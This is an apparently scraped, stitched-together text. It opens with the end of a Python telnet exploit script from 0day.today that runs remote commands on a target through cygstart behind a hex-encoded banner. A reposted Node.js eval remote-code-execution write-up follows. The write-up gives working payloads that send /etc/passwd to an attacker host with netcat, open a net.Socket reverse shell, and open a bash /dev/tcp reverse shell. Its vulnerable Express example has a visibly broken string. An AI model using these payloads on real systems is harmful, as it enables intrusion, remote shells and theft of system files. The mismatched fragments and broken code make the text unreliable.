"\x79\x60\x20\x20\x27\x20\x30\x20\x20\x30\x20" \ "\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a" \ "\x2a\x2a\x4e\x45\x54\x2a\x2a\x2a\x20\x20\x20" \ "\x20\x20\x20\x20\x7c\x0d\x0a\x20\x20\x20\x20" \ "\x2c\x20\x20\x20\x20\x20\x20\x20\x2c\x20\x20" \ "\x20\x20\x27\x20\x20\x7c\x20\x20\x27\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a" \ "\x2a\x2a\x2a\x2a\x2a\x2a\x20\x20\x20\x20\x20" \ "\x20\x20\x5e\x0d\x0a\x20\x2c\x2e\x20\x7c\x20" \ "\x20\x20\x20\x20\x20\x20\x27\x20\x20\x20\x20" \ "\x20\x60\x2e\x5f\x2e\x27\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x5e\x2d\x2d\x2d" \ "\x5e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x2f\x0d\x0a\x20\x3a\x20\x20\x2e\x20\x60\x20" \ "\x20\x3b\x20\x20\x20\x60\x20\x20\x60\x20\x2d" \ "\x2d\x2c\x2e\x2e\x5f\x3b\x2d\x2d\x2d\x3e\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20" \ "\x20\x20\x20\x20\x20\x27\x2e\x27\x2e\x27\x5f" \ "\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20\x2a\x0d\x0a" \ "\x20\x20\x27\x20\x60\x20\x20\x20\x20\x2c\x20" \ "\x20\x20\x29\x20\x20\x20\x2e\x27\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x5e\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x7c\x5f\x7c\x20\x46\x69\x72\x65" \ "\x77\x61\x6c\x6c\x20\x29\x0d\x0a\x20\x20\x20" \ "\x20\x20\x60\x2e\x5f\x20\x2c\x20\x20\x27\x20" \ "\x20\x20\x2f\x5f\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x7c\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20\x7c" \ "\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x3b\x20\x2c\x27\x27\x2d\x2c\x3b\x27\x20\x60" \ "\x60\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f" \ "\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x7c\x0d\x0a" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x60\x60" \ "\x2d\x2e\x2e\x5f\x5f\x60\x60\x2d\x2d\x60\x20" \ "\x20\x20\x20\x20\x20\x20\x69\x70\x73\x20\x20" \ "\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x5e\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x27\x2e\x20\x5f\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2a\x0d\x0a\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x2d\x5f\x5f\x5f\x5f\x5f" \ "\x5f\x5f\x20\x7c\x5f\x20\x20\x49\x50\x53\x20" \ "\x20\x20\x20\x20\x29\x0d\x0a\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20" \ "\x20\x7c\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \ "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x53\x75\x6c\x74\x61\x6e\x20" \ "\x41\x6c\x62\x61\x6c\x61\x77\x69\x0d\x0a\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x68\x74\x74\x70\x73" \ "\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65" \ "\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65" \ "\x6e\x74\x65\x73\x74\x33\x0d\x0a\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x61" \ "\x6c\x62\x61\x6c\x61\x77\x69\x34\x70\x65\x6e" \ "\x74\x65\x73\x74\x40\x67\x6d\x61\x69\x6c\x2e" \ "\x63\x6f\x6d\x0d\x0a\x20\x20\x20\x20\x20\x20" \ "\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \ "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \ "\x0a\x27\x27\x27" def get_set(HOST,cmd): try : tn = telnetlib.Telnet(HOST) bg="\x63\x79\x67\x73\x74\x61\x72\x74" tn.write(bg+" ./"+cmd+"\n") tn.write(main()) tn.read_all() except KeyboardInterrupt: print "[-] Execution stopped ... keyboard interrupt raised" except Exception as e: pass def main(): if len(sys.argv)==2: HOST = sys.argv[1] cmd = str(raw_input("cmd> ")) if "exit" in cmd : sys.exit("exiting...") else: print"Executing => %s"%cmd get_set(HOST,cmd) else: print "Usage: ./"+sys.argv[0]+" <target_ip>" if __name__ == '__main__': main() # 0day.today [2017-09-12] # Source: http://0day.today/exploit/28494

NODEJS RCE AND A SIMPLE REVERSE SHELL While reading through the blog post on a RCE on demo.paypal.com by @artsploit, I started to wonder what would be the simplest nodejs app that I could use to demo a RCE. Looking at the hello world tutorials online, I came up with the following simple app that takes a user input via the URL as a GET parameter and passes it to eval, which is obviously a bad programming practice. Obviously, the functionality of this app is questionable, but in the real world Node applications will use eval to leverage JavaScript’s eval but with sandboxing amongst other things. var express = require('express'); var app = express(); app.get('/', function (req, res) { res.send('Hello eval(req.query.q)); console.log(req.query.q); }); app.listen(8080, function () { console.log('Example listening on port 8080!'); }); To access the app, navigate to http://hostip:8080/?q='Test'. The exploit can be triggered using the q parameter. Node provides the child_process module and the eval can be used to execute the exploit. A quick demo can consist of the following steps: 1. Run nc -lvp 80 on a server you control and whose port 80 is reachable from the server running the Node app. 2. Navigate to http://hostip:8080/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80') This will send the contents of /etc/passwd to the attacker’s nc instance. If the Node server has the traditional nc installed (instead of the openbsd alternative) you can even use -e /bin/bash to return a proper shell from the Node server. But as the case is with default installations the netcat that attacker’s love may not always be present on vulnerable machines. In such cases, the net module can be used to redirect the stdin, stdout and stderr streams to and from the attacker’s machine. The exploit code in such a case would be: var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(80, "attackerip", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);}); To execute this, use the following steps: 1. Run nc -lvp 80 on a server you control and whose port 80 is reachable from the server running the Node app. Again, this would act as your shell listener/collector. 2. Navigate to http://hostip:8080/?q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"attackerip",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);}); You can then use /bin/bash -i or python -c 'import pty; pty.spawn("/bin/bash")' to get a proper TTY shell (See more techniques here.). I created a docker image with Node and the app installed so that this is easier to test and play with. You can setup this PoC using the following steps: 1. Install docker on your host machine. This is the standard reference – https://docs.docker.com/engine/installation/ 2. Once docker is setup, run the following command: docker run -p 8080:8080 -d appsecco/node-simple-rce 3. Navigate to the Node app by going to: http://localhost:8080/?q=’Test’ Update: A simpler reverse shell is: require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/192.168.56.2/80 0>%261"') According to https://github.com/bahamas10/node-exec: For backwards compatibility with child_process.exec, it is also possible to pass a string to exec. The string will automatically be converted to [‘/bin/sh’, ‘-c’, ‘{string}’], which will cause the string to be parsed on the shell. Since /bin/sh has some trouble dealing with multiple file descriptors, we can simply ask /bin/sh to spawn a new /bin/bash and use the new /bin/bash to execute our standard reverse shellcode. Whew! The code is available on Github if you want to test this locally. Feel free to make any changes to the code and redistribute! Happy Hacking! Articol preluat de pe site-ul Mi s-a parut foarte interesant acest write-up , si m-am gandit sa il postez si aici. Sper sa va inspire !